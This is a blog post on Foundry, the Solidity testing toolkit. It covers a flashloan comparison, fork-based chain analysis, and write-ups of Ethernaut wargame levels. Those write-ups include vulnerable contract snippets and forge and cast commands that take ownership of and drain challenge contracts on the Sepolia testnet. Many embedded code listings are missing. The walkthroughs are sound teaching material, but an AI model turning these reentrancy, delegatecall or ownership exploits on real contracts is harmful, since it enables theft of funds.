on hacking systematically with foundry

tl; dr

today i go over some systems i’ve created in foundry for solving blockchain security challenges.

i tend to indulge myself with a pristine code organization && logic. in this particular case, i am pretty proud of my methodology for running exploits, tests, and submission scripts (you can see it for yourself, for instance, with my solution for ethernaut’s wargames). in addition, you can also find some experiments in this repository.


🎶 today’s mood


👾 today’s outline

0000. intro to foundry and forge
0001. comparison of flashloans on ethereum
0010. historical data on avalanche c-chain
0011. exploiting fallback()
0100. exploiting constructor()
0101. exploiting pseudo-randomness
0110. exploiting tx.origin
0111. exploiting integer overflows
1000. exploiting delegatecall
1001. exploiting payable contracts
1010. exploiting private functions
1011. exploiting transfer(msg.value)
1100. exploiting reentrancy
1101. exploiting interfaces
1110. exploiting interfaces II

0000. intro to foundry and forge

foundry is the de jure blockchain dev toolkit written in my favorite language, rust.

paradigm.xyz released it on 12/2021, giving engineers and researchers an exit from javascript 👹 tests on hardhat. with foundry, tests can now be natively written on solidity.

the go-to reference to get started with foundry is its open-source docs/book. the installation is straightforward, as long as you have rust and cargo installed.

foundry’s CLI is called forge, which is the main tool we use. foundry also ships with anvil (a tool to create a local testnet node) and cast (a CLI tool to perform ethereum RPC calls). these three together allow forking and testing by interacting with contracts on a real network.

most of the time, these are the forge commands you use:

  • forge install/update/remove, to add/update/remove an external dependency (inside lib) using git submodules.

  • forge build, to build your project (i.e., once you have your contracts and tests written).

  • forge test <--match-contract --match-test --watch --fork-url etc.>, to run the tests you built.

  • forge init <--template>, to start an empty project or to use another github project as a template.

however, forge contains several other utilities:


a typical foundry project

a project in foundry usually has the following directories:

  • lib/: any library installed using forge install

    • the forge standard library is installed by default here (lib/forge-std)

    • by the way, libs can be re-configured with a remappings.txt file

  • src/: where contracts to be tested are

  • test/: where you add your solidity tests (e.g., MyContract.sol)

  • scripts/: where you add helpful solidity scripts (e.g., MyScript.sol)

  • out/: created after tests run, contain contract artifacts (e.g., ABI)

  • cache/: created after tests run), present an internal resource so that forge don’t need to recompile everything every time

in addition, you usually see a config file foundry.toml in the root, where you can set the project’s behavior. something like this:


the basic gists of foundry tests

simply put, since tests are written in solidity, they either fail if there is a revert, or pass otherwise.

the basic layout of a forge contract test contains:

  • setUp(), an optional function run before EACH test case

  • test_*(), functions with this prefix are used for EACH test function that should pass

  • testFail_*(), functions with the prefix are used for EACH test function that should fail (i.e., it must revert to pass)

and they look like this:

note that forge requires test functions to be either external or public.


manipulating the state of the blockchain with cheat-codes

foundry’s cheat-codes give the ability to alter the EVM state and mock data to a specific network state.

they can be accessed by a vm instance, with attributes like the following:

  • vm.prank(address): change msg.sender to another address for the next call (e.g., address(0))

  • vm.expectRevert()

  • vm.expectEmit()

  • vm.createFork(), vm.selectFork(), vm.activeFork() and others

  • vm.wrap(block_timestamp

  • vm.roll(block_number)

  • vm.free(block_basefee)

  • vm.prevrandao(block_prevrandao)

  • vm.chainid(block_chainid)

  • vm.store(address, slot, value) and vm.load(address, slot, value)

  • vm.deal(who, new_balance) and vm.deal(token, to, amount)

  • vm.recordLogs() and vm.getRecordedLogs()

  • vm.setNonce() and vm.getNonce()

  • vm.mockCall(address, function_selector, calldata)

  • vm.coinbase(address)

  • vm.txGasPrice()

  • assertions such as expectRevert(), expectEmit(), and expectCall()

for instance, you can override the VM state by simulating older transactions with a certain token balance, a certain block, etc.


advanced testing and features

in forge, you can trace failed tests with -vvv . subtraces will show each call, return value, and the gas used (inside square brackets):

foundry also supports several property-based testing, which are tests that look at general behaviors as opposed to isolated scenarios:

  • fuzzing: generates different scenarios, random inputs, etc.

  • invariant testings: through several runs and depths, this class of testing trials for a set of invariant expressions against randomized sequences of pre-defined function calls from pre-defined contracts.

    • they can expose faulty logic in protocols (e.g., false assumptions, incorrect logic in edge cases).

💎 @horsefacts wrote an awesome guide on invariant tests a few months ago.

  • differential testing: these tests cross-reference multiple implementations of the same function, by comparing each one’s output.

advanced testing suites are a fascinating subject in development and code security, and i would love to spend more time diving into them properly in future posts. for now, here is a good reference for learning.

in addition, tracing and logging, and foundry’s precompile registry (special contracts at a fixed address within the EVM) are also in my infinite want-to-learn list.


0001. comparison of flashloans on ethereum

in this project, we leverage foundry to compare flashloans from lending protocols on ethereum, including deployment cost and deployment size. this experiment is adapted from @jeiwan's code.

.protocol fees at the time this project was written, in 2022.
.protocol fees at the time this project was written, in 2022.

to run this project:

  1. fork my code

  2. install foundry and a solidity compiler (we are using ^0.8.16 in this project)

  3. export an env variable for an ethereum RPC URL (e.g., from infura's, alchemy, ankr's, or your own node):

> export RPC_URL=<RPC_URL>

the code

each lending protocol we are testing has its own contract under src/, and they connect together through src/interface.sol:

here is UniswapV2.sol:

here is UniswapV3.sol:

here is Aavev2.sol:

here is Balancer.sol:

here is Euler.sol:


the test file

we are ready for our first foundry test, under tests/testFlashloan.sol:

simply build the contracts and run with:

pretty awesome ✨.


0010. historical data on avalanche c-chain

in this second example, we leverage foundry’s fork and vm features to analyze EVM-based blockchains. more specifically, we will be inspecting data on the avalanche c-chain.

this boilerplate may be expanded for several purposes, including testing vulnerabilities or extracting MEV data (e.g., to simulate sandwich attacks in a defi protocol).

in general, you can fork a blockchain by providing an RPC URL (same as before, infura's, alchemy, etc.):

> forge test --fork-url <RPC URL>

here are some cool things you can set:

  • --fork-block-number

  • --fork-chainid

  • --gas-limit

  • --chain-id

  • --gas-price

  • --block-base-fee-per-gas

  • --block-coinbase

  • --block-timestamp

  • --block-number

  • --block-difficulty

  • --block-prevrandao

  • --block-gas-limit

  • --etherscan-api-key

each fork is a standalone EVM (i.e., they use entirely independent storage). however, the state of msg.sender and the test contract are the same across fork swaps.

in addition, vm cheat-codes also allow easy ways to modify the chain state at test runtime (for instance, many of the flags above can be simulated with vm as well).


the test file

after defining the desired assets and/or protocols to be researched, we can use the following procedure to write the simulation test:

  1. find out the methods that trigger price updates (e.g., swap() on GMX’s router).

  2. add/clone all the contracts needed for the methods above to contracts/.

  3. use any blockchain analytics tools (e.g., dune or avax apis) to search for past blocks with the desired feature to be studied (e.g., by setting a threshold for price movements that could be interesting to look at).

  4. create a list with all the blocks you find and add them to data/blocks.txt.

here is what my GMX test looks like:


running the test


0011. exploiting fallback()

cool, now let’s move to my foundry-open-sourced-code-that- i-am-the-most-proud-of.

for the rest of this post, i will be leveraging (read: solving) ethernaut’s challenges to illustrate hackings and solutions in foundry.

in this first challenge, we have to exploit a flawed fallback() function to gain control and drain this contract:


discussion

the only way to drain the contract is via withdraw(), which can only be called if msg.sender is the owner (because of the onlyOwner modifier).

this function will transfer all the funds in the contract to the owner's' address (note that this function is also vulnerable to reentrancy):

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}

there are two places in the contract where owner is updated with msg.sendercontribute() and the fallback receive().

the function contribute() allows the msg.sender to send wei to the contract and to be tracked by the contributions[] mapping variable.

if the total contribution made by a user is greater than the one by the actual owner, msg.sender will become owner:

 function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

however, the contribution made by the user would need to be greater than 1000 eth (to beat the one made by the owner in the constructor):

 constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

the fallback function receive() is a special function that is called "automatically" when some ether is sent to the contract without specifying anything in the calldata (i.e., calls made with send() or transfer()).

💎 implementing a fallback function is a good idea if the contract receives ether from other wallets or contracts, as they are useful for emitting payment events and checking requirements. every smart contract can only have one fallback function.

here, receive() requires that msg.value > 0 (the function call needs to contain some wei) and contributions[msg.sender] > 0 (the caller has to have donated before). if they pass, owner becomes msg.sender:

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
 }

solution

check test/01/Fallback.t.sol:

which can be run with:

> forge test --match-contract FallbackTest -vvvv    

Running 1 test for test/01/Fallback.t.sol:FallbackTest
(...)

Traces:
(...)

and submitted with script/01/Fallback.s.sol:

by running:

> forge script ./script/01/Fallback.s.sol \ 
                    --broadcast -vvvv \ 
                    --rpc-url sepolia

Traces:
(...)
==========================
Simulated On-chain Traces:
(...)
==========================

Chain 11155111
Estimated gas price: 3.645290764 gwei
Estimated total gas used for script: 119376
Estimated amount required: 0.000435160230243264 ETH

==========================

### Finding wallets for all the necessary addresses...
## Sending transactions [0 - 2].

## Waiting for receipts.

##### sepolia[Success]Hash: 0xd47b8ce14de27a974032f323d42f3cb2eae5ab09d2784458353aec217f58f36e
Block: 4092414
(...)
Paid: 0.00010032099827742 ETH (30364 gas * 3.303945405 gwei)

==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.000279946598111055 ETH (84731 gas * avg 3.303945405 gwei)

pwned...


3-lines solution with cast

alternatively, this problem could be solved without much code, by leveraging cast.

first, call contribute() with some wei so that contributions[msg.sender] > 0:

> cast send <instance contract> "contribute()" \ 
                  --value `1wei` --private-key=<your private key> \ 
                  --rpc-url=<rpc endpoint to sepolia>

blockHash               0xb691cea544164091a2353aebeb15feede86763298d6136b3231923b36b715b4f
blockNumber             4077851
contractAddress
cumulativeGasUsed       3800590
effectiveGasPrice       3216660017
gasUsed                 47965
logs                    []
logsBloom               0x00...00

become owner when triggering receive() by sending 1 wei to the contract with an empty data field (i.e., empty msg.data):

> cast send <instance contract> \ 
                --value 1wei 
                --private-key=<your private key> \ 
                --rpc-url=<rpc endpoint to sepolia>

blockHash               0x1bf1ee70a9a9b3d919f93bdfd2f7f1c03325caefbd20522d5b1162c781c8a50c
blockNumber             4077853
contractAddress
cumulativeGasUsed       28302
effectiveGasPrice       3183243793
gasUsed                 28302
logs                    []
logsBloom               0x000...0
root
status                  1
transactionHash         0xa6c2fdecf316c8a57116c89aaee7fb5e3596ddc55f6e4e3bbc812802865c6f77
transactionIndex        0
type                    2

call withdraw() to drain the contract.

> cast send <instance contract> "withdraw()" \ 
              --private-key=<your private key> \ 
              --rpc-url=<rpc endpoint to sepolia>

blockHash               0x8ffea8d58449e5f9f2a15d264c851defe4b97ed724a3bf681196390ac8c09bd5
blockNumber             4077855
contractAddress
cumulativeGasUsed       1898453
effectiveGasPrice       3200792076
gasUsed                 30364
logs                    []
logsBloom               0x00000...00000
root
status                  1
transactionHash         0xd18e25cee0ba55165f0fbed21d9dad6ff227f9c6897fd9178818bf1611064eb0
transactionIndex        2
type                    2

0100. exploiting constructor()

in this challenge, the contract's constructor function is misspelled, causing the contract to call an empty constructor. we explore this vulnerability to become owner:

an example of this vulnerability exploited irl was when a company called dynamic piramid changed its name to rubixi but forgot to change its contract's constructor and ended up hacked.


discussion

a constructor initializes the contract and the data within it.

when a constructor has a different name from the contract, it becomes a regular method with a default public visibility (i.e., they are part of the contract's interface and can be callable by anyone).

this is the vulnerability we exploit:

  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

💎 fun fact: before solidity 0.4.22, defining a function with the same name as the contract was the only way to define its constructor. after that version, the constructor keyword was introduced.


solution

i had to change the original contract a little to compile with foundry (e.g., adding a couple of payable casting and removing SafeMath as it's not needed for >= 0.8.0).

test/02/Fallout.t.sol is super simple:

run with:

> forge test --match-contract FalloutTest -vvvv    

Running 1 test for test/02/Fallout.t.sol:FalloutTest
[PASS] testFallbackHack() (gas: 35036)
Traces:
  [35036] FalloutTest::testFallbackHack() 
    ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) 
    │   └─ ← ()
    ├─ [24507] Fallout::Fal1out() 
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 514.50µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

then, a solution can be submitted with script/02/Fallout.s.sol:

by running:

> forge script ./script/02/Fallout.s.sol \ 
              --broadcast -vvvv \ 
              --rpc-url sepolia

[] Compiling...
[] Compiling 1 files with 0.8.21
[] Solc 0.8.21 finished in 619.82ms
Compiler run successful!
Traces:
(...)

Script ran successfully.

## Setting up (1) EVMs.
==========================
Simulated On-chain Traces:
(...)
==========================

Chain 11155111
Estimated gas price: 3.397321144 gwei
Estimated total gas used for script: 62992
Estimated amount required: 0.000214004053502848 ETH

==========================

### Finding wallets for all the necessary addresses...
## Sending transactions [0 - 0].[00:00:00] [###################] 1/1 txes (0.0s)
## Waiting for receipts.[00:00:12] [#####################################] 1/1 receipts (0.0s)
##### sepolia[Success]Hash: 0x398c258730c922336d269c8ee892f215573cc0ebce34605bb655c171b7fbe374
Block: 4097312
Paid: 0.00014700180794244 ETH (45606 gas * 3.22329974 gwei)

==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.00014700180794244 ETH (45606 gas * avg 3.22329974 gwei)

pwned...


0101. exploiting pseudo-randomness

in this challenge, we exploit the determinism of a pseudo-random function composed uniquely of an EVM global accessible variable (blockhash) and no added entropy.

this is the vulnerable contract:


discussion

the EVM is a deterministic turing machine.

since it has no inherent randomness and as everything in the contracts is publicly visible (e.g.block.timestampblock.number), generating random numbers in solidity is non-trivial.

projects resource to external oracles or to ethereum validator's RANDAO algorithm.

the CoinFlip contract uses the current block's blockhash to determine the side of a coin, represented by a bool variable named coinFlip:

uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

which is derived from the variable blockValue as a uint256 generated from the previous block number (block's number minus 1):

uint256 blockValue = uint256(blockhash(block.number - 1));

this FACTOR variable is useless:

  • first, division by a large constant does not introduce any randomness entropy at all.

  • second, even if this constant is private, it's still available at etherscan or by decompiling the bytecode (if the contract is not verified).

uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

finally, the "randomness" in this contract is calculated from on-chain deterministic data, so all we need to do is simulate side before we submit a guess, and repeat this ten times.

if (side == _guess) {
    consecutiveWins++;
    return true;
} else {
    consecutiveWins = 0;
    return false;
}

for this simulation, we leverage foundry's vm.roll(uint256), which simulates the block.number given by the uint256.


solution

our exploit is located at src/03/CoinFlipExploit.sol:

which can be tested with test/03/CoinFlip.t.sol:

running with:

> forge test --match-contract CoinFlipTest -vvvv

Running 1 test for test/03/CoinFlip.t.sol:CoinFlipTest
[PASS] testCoinFlipHack() (gas: 247316)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 670.88µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

to submit the solution, we run script/03/CoinFlip.s.sol:

with:

> forge script ./script/03/CoinFlip.s.sol \ 
              --broadcast -vvvv \ 
              --rpc-url sepolia

[] Compiling...
No files changed, compilation skipped
Traces:
(...)

Script ran successfully.

== Logs ==
  10

## Setting up (1) EVMs.
==========================
Simulated On-chain Traces:
(...)

==========================

Chain 11155111
Estimated gas price: 3.00000004 gwei
Estimated total gas used for script: 587395
Estimated amount required: 0.0017621850234958 ETH

==========================

## Waiting for receipts.[00:00:13] [###########################################] 11/11 receipts (0.0s)
##### sepolia[Success]Hash: 0x974e6b9a856aa81b641d4e1a5b18644b383c92feb6781edb2bd23ef19b0b8a7f
Contract Address: 0x677cB6C1682E2Fa2715B637190167FAc419a4a88
Block: 4230872
Paid: 0.000479472003835776 ETH (159824 gas * 3.000000024 gwei)

(...)

==========================

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.001304178010433424 ETH (434726 gas * avg 3.000000024 gwei)

pwned...


0110. exploiting tx.origin

in this challenge, we exploit the difference between solidity's global variables tx.origin and msg.sender to to phish with tx.origin and become owner.

tx.origin refers to the EOA that initiated the transaction (which can be many calls ago in the stack, and never be a contract), while msg.sender is the immediate caller (and can be a contract).

tx.origin is known for being generally vulnerable, and its use should be restricted to specific cases, such as denying external contracts from calling the current contract (for instance, with a require(tx.origin == msg.sender)).

💎 fun fact, this type of vulnerability resembles web2's cross-site request forgery (csrf). exactly a decade ago, when i was getting started in security research and csrf was still heavily in the wild, i wrote a modification of apache's mod_security to monitor for it. it's wild how the world has changed in a decade…


discussion

Telephone() contract is pretty simple. first, it declares a state variable called owner (state variables have values permanently stored in a contract storage):

address public owner;

then we have a constructor that defines that the EOA who deploys this contract is its owner:

constructor() {
    owner = msg.sender;
}

finally, we have a function to change the owner, which checks if the caller is not the owner to give the ownership. this function is our target, and to exploit it, we need to make sure that tx.origin and msg.sender are not the same:

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
}

this can be done by creating an intermediary contract that makes a call to Telephone().

this is our exploit:


solution

first, we test our solution at test/04/Telephone.t.sol:

by running:

> forge test --match-contract TelephoneTest -vvvv    

once it passes, we submit the exploit with script/04/Telephone.s.sol:

by running:

> forge script ./script/04/Telephone.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia

alternative solution with cast

instead of relying on our deploying script, a second option is deploying the contract directly with:

> forge create src/04/TelephoneExploit.sol:TelephoneExploit \ 
              --constructor-args <level address> \ 
              --private-key=<private-key> \ 
              --rpc-url=<sepolia url> 

note that we would have to slightly modify our exploit to create an instance of Telephone instead of receiving it as an argument (with level).

something like this:

to call the exploit, we run:

> cast send <deployed address> "changeOwner()" \ 
                    --private-key=<private-key> \ 
                    --rpc-url=<sepolia url> 

pwned...


0111. exploiting integer overflows

in this challenge, we explore a classic vulnerability in both web2 and web3 security: integer overflows.

this is the vulnerable contract:


discussion

programming languages that are not memory-managed can have their integer variables overflown if assigned to values larger than the variables' capacity limit.

we will use this trick to overflow a uint and bypass the require() check of Token()'s transfer() function:

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

whenever we add 1 to a variable's maximum value, the value wraps around and decreases.

for example, an (unsigned) uint8, has the maximum value of 2^8 - 1 = 255. if we add 1 to it, it becomes 0. same as 2^256 - 1 + 1.

symmetrically, if we subtract a value larger than what the variable holds, the result wraps around from the other side, increasing the variable's value. this is our exploit.

if we pass a _value to transfer() that is larger than 20, for instance 1balances[msg.sender] - _value results on uint256(-1), which is equal to a very large number, 2^256 – 1.

in solidity, this type of integer overflow used to be a vulnerability until version 0.8.0.

this is why contracts were advised to use OpenZeppelin' SafeMath.sol whenever they performed integer operations. in newer versions, if the code is not performing these operations, we can use unchecked to save gas.


solution

since this challenge is so easy, we skip tests and go directly to the submission script, script/05/Token.s.sol:

running with:

> forge script ./script/05/Token.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...


1000. exploiting delegatecall

in this challenge, we become owner by leveraging an attack surface generated from implementing the low-level function delegatecall (from opcode DELEGATECALL).

exploitation of delegatecall() has been in several hacks in the wild, for example the parity multisig wallet hack, in 2017.

this is the vulnerable contract:


discussion

CALL and DELEGATECALL opcodes allow ethereum developers to modularize their code.

standard external message calls are handled by CALL (code is run in the context of the external contract/function).

DELEGATECALL is almost identical, except that the code executed at the targeted address is run in the context of the calling contract (useful when writing libraries and for proxy patterns).

when a contract executes DELEGATECALL to another contract, this contract is executed with the original contract msg.sendermsg.value, and storage (in particular, the contract's storage can be changed).

finally, the function delegatecall() is a way to make these external calls to other contracts.

in this problem, we are provided with two contracts. Delegate() is the parent contract, which we want to become owner of. conveniently, the function pwn() is very explicit on being our target:

now, note that the variable owner is in the first slot of both contracts.

ordering of variable slots (and their mismatches) are what DELEGATECALL exploits in the wild usually explore.

this is important because we are dealing with opcodes, as every variable has a specific slot and should match in both the origin and destination contracts.

in our case, we when trigger the fallback in Delegate() to generate a delegate call to run pwn() in Delegation(), the owner variable (which is at slot0 of both contracts) updates Delegation()'s storage slot0.

the second contract, which we have access, is Delegation(), comes with has another convenience: a delegatecall() in the fallback function.

this fallback function is simply forwarding everything to Delegate():

from a previous challenge, we know that fallback functions are like a "catch-all" in a contract, so it's pretty easy to access them.

in this particular case, delegatecall() takes msg.data as input (i.e., whatever data we pass when we trigger the fallback). it's pretty much an exec, as we can pass function calls through it.

the last information we need is to learn how deletecall() passes arguments.

the function signatures are encoded by computing Keccak-246 and keeping the first 4 bytes (the function selector in the EVM).

delegatecall(abi.encodeWithSignature("func_signature", "arguments"));

in our attack we will use call(abi.encodeWithSignature("pwn()") to trigger fallback() and become owner.

this is also equivalent to the eth call sendTransaction():

sendTransaction({ 
    to: contract.address, 
    data: web3.eth.abi.encodeFunctionSignature("pwn()"), 
    from: hackerAddress
 })

solution

check test/06/Delegation.t.sol:

run:

> forge test --match-contract DelegationTest -vvvv    

submit with script/06/Delegation.s.sol:

by running:

> forge script ./script/06/Delegation.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia

alternative solution using cast

get methodId for pwn():

> cast calldata 'pwn()'

use the result above to trigger Delegation() fallback function with a crafted msg.data:

> cast send <instance address> <calldata above> \ 
                    --gas <extra gas> \ 
                    --private-key=<private-key> \ 
                    --rpc-url=<sepolia url> 

pwned...


1001. exploiting payable contracts

this challenge’s contract has no code…

in fact, this challenge exploits smart contract invariants, and how total balance is not a good invariant.

contract invariants are properties of the program state that are expected to always be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.

a state in the blockchain is considered valid when the contract-specific invariants hold true.

in this challenge, we need to find a way to forcefully send ether to a contract that does not explicitly contain a payable, a receive(), or a fallback() function.

there are two ways this can be done when the destination contract is already deployed:

  • by using coinbase transactions or block rewards (like MEV searchers and validators rewards)

  • by leveraging (the now being deprecatedselfdestruct(address), which allows contracts to receive ether from other contracts.

    • all the ether stored in the calling contract is transferred to address (and since this happens at the EVM level, there is no way for the receiver to prevent it).

    • selfdestruct() can be considered a garbage collection to clean up voided contracts (and it consumes negative gas).


solution

we craft a very simple exploit, located at src/07/ForceExploit.sol:

and test it with test/07/Force.t.sol:

running:

> forge test --match-contract ForceTest -vvvv    

then, we submit the solution with script/07/Force.s.sol:

by running:

> forge script ./script/07/Force.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...


alternative solution using cast

deploy the exploit with:

> forge create src/07/ForceExploit.sol:ForceExploit \ 
                --constructor-args=<level address> \ 
                --private-key=<private-key> \ 
                --rpc-url=<sepolia url> 

then call the contract with:

> cast send <deployed address> \ 
                --value 0.0005ether \ 
                --private-key=<private-key> \ 
                --rpc-url=<sepolia url> 

1010. exploiting private functions

this challenge explores the fact that if a state variable is declared private, it's only hidden from other contracts (i.e., it's private within the contract's scope).

this is the vulnerable contract:

in other words, a private variable's value is still recorded in the blockchain and is open to anyone who understands how the memory is organized.

remember that public and private are visibility modifiers, while pure and view are state modifiers.

a great explanation about solidity function visibility can be found on solidity by example.

before we start, it's worth talking about the four ways the EVM stores data, depending on their context.

firstly, there is the key-value stack, where you can POPPUSH , DUP1, or POP data.

  • basically, the EVM is a stack machine, as it does not operate on registers but on a virtual stack with a size limit 1024.

  • stack items (both keys and values) have a size of 32-bytes (or 256-bit), so the EVM is a 256-bit word machine (facilitating, for instance, keccak256 hash scheme and elliptic-curve computations).

secondly, there is the byte-array memory (RAM), used to store data during execution (such as passing arguments to internal functions).

  • opcodes are MSTOREMLOAD, or MSTORE8.

third, there is the calldata (which can be accessed through msg.data), a read-only byte-addressable space for the data parameter of a transaction or call.

  • unlike the stack, this data is accessed by specifying the exact byte offset and the number of bytes to read.

  • opcodes are CALLDATACOPY, which copies a number of bytes of the transaction to memory, CALLDATASIZE, and CALLDATALOAD.

lastly, there is disk storage, a persistent read-write word-addressable space, where each contract stores persistent information (and where state variables live), and is represented by a mapping of 2^{256} slots of 32 bytes each.

  • the opcode SSTORE is used to store data and SLOAD to load.

discussion

the first thing we see in the contract is the two state variables set as private.

in particular, password is declared as byte32, which makes this problem even simpler (hint: remember that the EVM operates on 32 bytes at a time):

bool private locked; 
bytes32 private password;

looking at the constructor, we see that password is given as input by whoever deploys this contract (and also setting the variable locked to True):

constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

finally, we look at the only function in the contract: it "unlocks" locked when given the correct password:

function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
}

there are many ways to solve this exercise, but the theory is the same: each smart contract has its own storage reflecting the state of the contract, which is divided into 32-byte slots.

a first approach is simply to call the well-known API  web3.eth.getStorageAt(contractAddress, slotNumber), as we know the contract address and that password is on slot number 1:

> await web3.eth.getStorageAt("<contract address>, 1")

however, we use a more formal approach that leverages foundry's vm.load() method:

function load(address account, bytes32 slot) external returns (bytes32);

in particular, foundry's std storage library is a great util to manipulate storage.

from the foundry book, here is an illustration of how vm.load() works:

contract LeetContract {
     uint256 private leet = 1337; // slot 0
}

bytes32 leet = vm.load(address(leetContract), bytes32(uint256(0)));
emit log_uint(uint256(leet)); // 1337

solution

check test/08/Vault.t.sol:

run the test with:

> forge test --match-contract VaultTest -vvvv    

then submit the solution with script/08/Vault.s.sol:

by running:

> forge script ./script/08/Vault.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...


alternative solution using cast

get the password with:

> cast storage <contract address> 1 \ 
              --private-key=<private-key> \ 
              --rpc-url=<sepolia url> 

run in the console:

> await contract.unlock(<password>)


1011. exploiting transfer(msg.value)

the King contract represents a simple ponzi where whoever sends the largest amount of ether (larger than the current prize value) becomes the new king.

in this event, the previous king gets paid the new prize.

here is the vulnerable contract:

the vulnerability lies on the fact that the contract trusts the external input of msg.value when running transfer(msg.value). it assumes that the king is an EOA, which could also be a contract.

our goal is to explore this vulnerability to not let anyone else become the king.


discussion

the King contract starts with three state variables that are set in the constructor:

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

king is initially the person who deployed the contract and sets prize (the current value to be bet by someone to become king). the only requirement is that the ether sent to the contract must be larger than prize.

following we have the receive() function and a getter for king. to become a king one needs to either be owner or send a value for prize larger than its current. since we didn't deploy the contract, the first option is not available:

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }

looking at receive(), we see that after we send enough prize, a payable function is triggered to pay prize to the previous king.

it uses transfer(address), which sends the amount of wei to address, throwing an error on failure.

sending ether to EOAs is usually performed via transfer() method, but remember that there are a few ways of performing external calls in solidity. the send() function also consumes 2300 gas, but returns a bool.

finally, the call() function and the CALL opcode can be directly employed, forwarding all gas and returning a bool.

in addition, note that this contract has no error handling, so an obvious security issue is unchecked call return values.

in other words, each time a contract sends ether to another, it depends on the other contract’s code to handle the transaction and determine its success.

for instance, the contract might not have a payable fallback(), or have a malicious fallback() or payable function.

if the new king is a contract address instead of a EOA, it could redirect transfer() and revert its transaction, skipping the execution of the next lines:

king = msg.sender;
prize = msg.value;

solution

we write our exploit at src/09/KingExploit.sol.

note that the fallback() is optional for winning the challenge, but we add it here to make very clear the point that no eth should be sent (i.e., there won't be a new king):

we test this script with test/09/King.t.sol:

running with:

> forge test --match-contract KingTest -vvvv    

then, we craft the submission script at script/09/King.s.sol:

and finish the problem running:

> forge script ./script/09/King.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...


alternative solution using cast

deploy the exploit with:

> forge create src/09/KingExploit.sol:Contract \ 
              --constructor-args=<level address> \ 
              --private-key=<private-key> \ 
              --rpc-url=<sepolia url> --value 1000000000000000wei

then call the contract with:

> cast send <deployed address> \ 
          --value 0.0001ether \ 
          --private-key=<private-key> \ 
          --rpc-url=<sepolia url> 


1100. exploiting reentrancy

we know that contracts may call other contracts by function calls or transferring ether. they can also call back contracts that called them (i.e., reentering) or any other contract in the call stack.

reentrancy attack can happen when a contract is reentered in an invalid state. this can happen if the contract calls other untrusted contracts or transfers funds to untrusted accounts.

state in the blockchain is considered valid when the contract-specific invariants hold true. contract invariants are properties of the program state that are expected always to be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.

in its simplest version, an attacking contract exploits vulnerable code in another contract to seize the flow of operation or funds.

for example, an attacker could repeatedly call a withdraw() or receive() function (or similar balance updating function) before a vulnerable contract’s balance is updated.

💎 for a detailed review on reentrancy attacks, check my mirror post.

in this challenge, we need to exploit this contract:


discussion

the Reentrance contract starts with a state variable for balances:

contract Reentrance {
  mapping(address => uint256) public balances;

then we have a getter and a setter function for donate() (whoever donates some ether becomes part of balances) and balanceOf():

function donate(address _to) public payable {
     balances[_to] = balances[_to] += msg.value;
}

function balanceOf(address _who) public view returns (uint256 balance) {
    return balances[_who];
}

then, we have the withdraw(amount) function, which is the source of our reentrancy attack.

for instance, note how it already breaks the checks -> effects -> interactions pattern.

in other words, if msg.sender is a (attacker) contract and since balances deduction is made after the call, the contract can call a fallback() to cause a recursion that sends the value multiple times before reducing the sender's balance.

  function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool success, ) = msg.sender.call{value: _amount}("");
            if (success) {
                _amount;
            }
            // unchecked to prevent underflow errors
            unchecked {
                balances[msg.sender] -= _amount; 
            }
        }
    }

finally, we see a blank receive() function, which receives any ether sent to the contract without specifically calling donate().

receive() is a new keyword in solidity 0.6.x, and it is used as a fallback() function for empty calldata (or any value) that is only able to receive ether.

remember that solidity’s fallback() function is executed if none of the other functions match the function identifier or no data was provided with the function call (and it can be optionally payable).

receive() external payable {}

solution

our exploit needs to do the following:

  1. makes an initial donation of ether through call().

  2. calls the first withdraw(initialDeposit) for this amount of ether (which triggers our exploit's receive() for the first time and starts the recursion).

  3. call the second withdraw(address(level).balance) to drain the contract.

the exploit is located at src/10/ReentrancyExploit.sol. note that the attack occurs at run() and receive(). the function withdrawtoHacker() can be called afterwords to withdraw the balance from the ReentrancyExploit contract:

which can be tested with test/10/Reentrancy.t.sol:

by running:

> forge test --match-contract ReentrancyTest -vvvv    

finally, the solution can be submitted with script/10/Reentrancy.s.sol:

by running:

> forge script ./script/10/Reentrancy.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...


1011. exploiting interfaces

